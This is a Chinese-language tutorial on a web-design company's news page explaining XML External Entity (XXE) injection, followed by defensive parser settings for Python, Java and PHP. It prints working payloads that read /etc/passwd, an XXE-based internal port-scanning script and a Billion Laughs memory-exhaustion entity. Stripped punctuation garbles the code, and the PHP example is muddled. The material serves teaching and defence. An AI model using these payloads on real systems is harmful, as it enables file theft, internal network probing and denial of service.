恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ...

  • 首页
  • 资讯中心
  • /
  • ,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ...

相关资讯

AI Compass前沿速览:GPT--Codex 、宇树科技世界模型、InfiniteTalk美团数字人、ROMA多智能体框架、混元D . 2026/8/2 18:16:23
LLM文档处理技术实践:从RAG到智能问答系统构建 2026/8/2 5:04:38
【剪映AI音量均衡实战指南】:20年音视频工程师亲授3步搞定人声与背景音自动平衡 2026/8/2 18:16:24

最新资讯

Windows下Docker Compose容器服务查询与文件查看操作指南
Web调用本地程序实战:四种方案选型与WebSocket桥接实现
Linux进程查看终极指南:ps、top、pgrep与/proc实战
Linux进程查看实战手册:从ps到top的排障技巧
lft.php实战:Linphone消息图片中转部署与改造方案
3步装好Kiro Crew:一条命令打造24/7自主干活的AI开发助手(macOS/Linux/Windows全覆盖)

今日推荐

麒麟Kylin V10 SP3服务器安装实战:硬件兼容、启动优化与生产级分区
华为手机助手导致Windows内存完整性关闭的根因与修复
图书馆图书借阅管理系统:JSP+Servlet+MySQL源码部署与答辩指南

本周热门

BrewUI:给Homebrew套上图形界面,让macOS软件包管理更简单
BrewUI:让Homebrew包管理变得可视化与高效
公式与文本对齐全攻略:从Word到LaTeX的实用技巧

本月精选

自研推理加速器Redwood:两周内实现PyTorch模型高效部署的实战教程
V4L2摄像头采集实战:从camera_client.rar到出图全流程解析
从“谁发明了钢琴键”到知识问答智能体:RAG与记忆工程实践

,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ...

发布时间:2026/9/26 4:59:36
,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ... 深入解析XML外部实体注入XXE攻击从原理到实战防御什么是XXE攻击XML外部实体注入XML External Entity Injection简称XXE是一种针对XML解析器的安全漏洞。攻击者通过构造特殊的XML文档使其包含恶意外部实体。这些外部实体可以引用服务器上的敏感文件如/etc/passwd、发起网络请求类似SSRF攻击甚至导致拒绝服务如Billion Laughs攻击。XXE的利用方式与文件包含和SSRF服务器端请求伪造有异曲同工之妙但攻击入口是XML解析。### 核心原理XML允许定义实体Entity分为内部实体和外部实体。外部实体通过SYSTEM关键字引用外部资源例如xml!ENTITY xxe SYSTEM file:///etc/passwd当解析器处理该实体时会读取指定文件内容并插入到XML文档中。如果解析器未禁用外部实体解析攻击者就能窃取数据或发起请求。## 实战示例读取服务器敏感文件### 示例1基本的文件读取假设有一个Web应用它通过POST请求接收XML数据并解析。例如一个用户信息查询接口攻击代码Python模拟python# 攻击者构造的恶意XMLmalicious_xml ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd]root namexxe;/name/root# 模拟服务器端解析使用lxml库默认未禁用外部实体from lxml import etree# 注意实际生产中应禁用外部实体此处仅为演示漏洞parser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(malicious_xml.encode(), parser) print(解析结果, tree.find(name).text)except Exception as e: print(解析失败, e)输出示例解析结果 root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...注释-!DOCTYPE foo [...]定义了文档类型其中包含外部实体声明。-!ENTITY xxe SYSTEM file:///etc/passwd声明了外部实体xxe指向file:///etc/passwd。-namexxe;/name在XML元素中引用了该实体解析器会将其替换为文件内容。### 防御措施在Python的lxml中正确的防御方式是禁用DTD和外部实体pythonparser etree.XMLParser(load_dtdFalse, resolve_entitiesFalse)## 进阶利用SSRF与内网探测外部实体不仅限于file://协议还可以使用http://、ftp://等协议从而实现SSRF攻击。攻击者可以探测内网服务、扫描开放端口甚至利用SSRF攻击其他内网系统。### 示例2内网端口扫描攻击者构造如下XML尝试访问内网IP的特定端口python# 模拟端口扫描的恶意XMLdef scan_port(ip, port): xml_template ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM http://{ip}:{port}/admin]root dataxxe;/data/root return xml_template.format(ipip, portport)# 假设内网IP为192.168.1.1扫描80端口target_ip 192.168.1.1target_port 80payload scan_port(target_ip, target_port)# 服务器端解析同样使用有漏洞的配置from lxml import etreeparser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(payload.encode(), parser) result tree.find(data).text if result: print(f端口 {target_port} 开放响应内容{result[:100]}) else: print(f端口 {target_port} 无响应)except Exception as e: # 如果连接超时或拒绝可能端口关闭 print(f端口 {target_port} 可能关闭{e})注释- 此代码通过循环扫描不同端口可以探测内网服务。-http://{ip}:{port}/admin尝试访问内网Web管理页面。- 如果解析器返回错误如连接超时表明端口可能关闭如果返回内容则端口开放。注意实际扫描时攻击者会使用更复杂的错误处理来区分“端口关闭”和“无响应”。## 其他攻击向量Billion Laughs与DoS除了数据窃取和SSRFXXE还可以用于拒绝服务攻击。经典的“Billion Laughs”攻击通过递归实体定义消耗大量内存xml!DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; ...]rootlol999;/root解析器会尝试展开所有实体导致内存耗尽。## 防御实战安全的XML解析配置在不同的编程语言和框架中防御方法略有不同但核心原则是1.禁用外部实体解析设置解析器不加载DTD、不解析外部实体。2.使用白名单如果必须使用外部实体严格限制协议和来源。3.输入验证对用户提交的XML进行严格过滤检查是否包含!DOCTYPE、!ENTITY等标签。### Python安全配置pythonfrom lxml import etree# 安全解析器禁用DTD和外部实体safe_parser etree.XMLParser( load_dtdFalse, # 不加载DTD resolve_entitiesFalse, # 不解析实体 no_networkTrue # 禁止网络访问)# 安全解析用户输入try: tree etree.fromstring(user_xml.encode(), safe_parser) # 正常处理逻辑except etree.XMLSyntaxError as e: # 记录日志拒绝请求 print(fXML解析错误{e})### Java安全配置javaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);dbf.setFeature(http://xml.org/sax/features/external-general-entities, false);dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);### PHP安全配置phplibxml_disable_entity_loader(true); // PHP 8.0前可用$xml simplexml_load_string($user_input, SimpleXMLElement, LIBXML_NOENT);注意LIBXML_NOENT实际上会解析实体应使用LIBXML_NONET禁用网络访问并配合libxml_disable_entity_loader(true)。## 总结XXE攻击是一种古老但依然有效的Web安全威胁尤其在处理用户提交XML数据的API中常见。攻击者通过构造恶意外部实体可以读取任意文件、发起内网请求SSRF、甚至实施拒绝服务攻击。防御的关键在于- 在解析XML时始终禁用外部实体和DTD。- 遵循最小权限原则不解析不必要的实体。- 对用户输入进行严格验证拒绝包含!DOCTYPE等标签的异常数据。作为全栈工程师在开发任何涉及XML处理的接口时必须将安全配置作为默认设置而不是事后补救。理解攻击原理并掌握防御代码是构建安全应用的基础。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号